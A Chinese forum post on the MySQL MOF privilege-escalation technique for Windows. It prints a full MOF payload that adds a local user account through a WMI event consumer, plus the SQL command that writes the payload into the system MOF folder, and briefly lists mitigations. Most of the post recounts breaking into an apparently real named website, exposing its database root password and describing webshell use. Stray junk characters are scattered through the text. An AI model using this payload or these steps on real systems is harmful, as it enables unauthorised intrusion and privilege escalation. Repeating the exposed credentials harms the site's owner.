Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
" x; n; F5 Q. ^, O+ X
2 y5 R7 `/ m( {6 `% L网上公开的一些利用代码:
: F  R6 [+ x$ U* L
#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
+ f( g% r5 F% N# ]8 S9 M
& Q, F/ Q: R. B! S6 I1 O
% l0 C# J* n) I( }; a- t( N/ c6 W

0 n. ]) Q% T0 k* x( v0 H7 r
6 H# \8 B$ q. g1 S& o连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! q2 b8 X$ S3 ^2 L, h$ W从上面代码来看得出解决办法：
. O% M& }  r/ b5 r! y
1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

. }3 \6 L9 N7 i: k8 q% x2、禁止使用”WScript.Shel”组件
5 o: a8 S4 c5 b$ H
1 p3 h0 ^  a8 z3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

( c& e; k1 f, K7 N% O事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
4 S6 d( m/ h& S' L/ z- K' O
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

5 B9 V: U" ~# m: [6 }0 w* k; \看懂了后就开始练手吧
  m5 L3 @3 y2 T( }7 `
http://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
% B( N1 M1 b# F6 c; y$ z
- ~  O0 A1 l8 d. ~: c& B: T  X于是直接用菜刀开搞

上马先

+ L9 m: U2 W# a/ w/ X6 _" V既然有了那些账号 之类的 于是我们就执行吧…….
) V7 z, L- q. A" |2 H* q) M; r
小小的说下
5 j0 s+ q1 K' z( j' `! @' y
在这里第1次执行未成功        原因未知

我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
; O& C: K' Z3 N8 E9 F' p; T$ K7 f$ N
#pragma namespace(“\\\\.\\root\\subscription”)

: o9 s6 s8 k) K4 I5 c7 y- x1 dinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
( I5 N  a  C: M5 c) u2 v" m' d/ V
8 B4 G: B% w$ d  z: B我是将文件放到C:\WINDOWS\temp\1.mof
9 C. D, x2 I- B2 r. p
7 a" v: i# n* A9 E( _, e+ v: |所以我们就改下执行的代码

/ }* r: `2 c; f, o* S% bselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
& N3 ~! u) Y2 ]- L. ]

0 u: |1 J. ]/ V# _. V/ u
但是 你会发现账号还是没有躺在那里。。
* L0 O7 ~* g$ `1 d! j7 Y! \1 g
8 o% g7 B: k6 r, m; Y0 A/ e9 d于是我就感觉蛋疼

. A9 ^# u: ^! i( o6 h$ o就去一个一个去执行 但是执行到第2个 mysql时就成功了………
7 l3 R7 |) {) ?


但是其他库均不成功…
5 a; G% I# N: h2 R+ x1 Z
我就很费解呀 到底为什么不成功求大牛解答…
" b8 }3 q  T+ p4 y, i0 ?2 K
" Y5 o/ X" u5 N+ O+ d​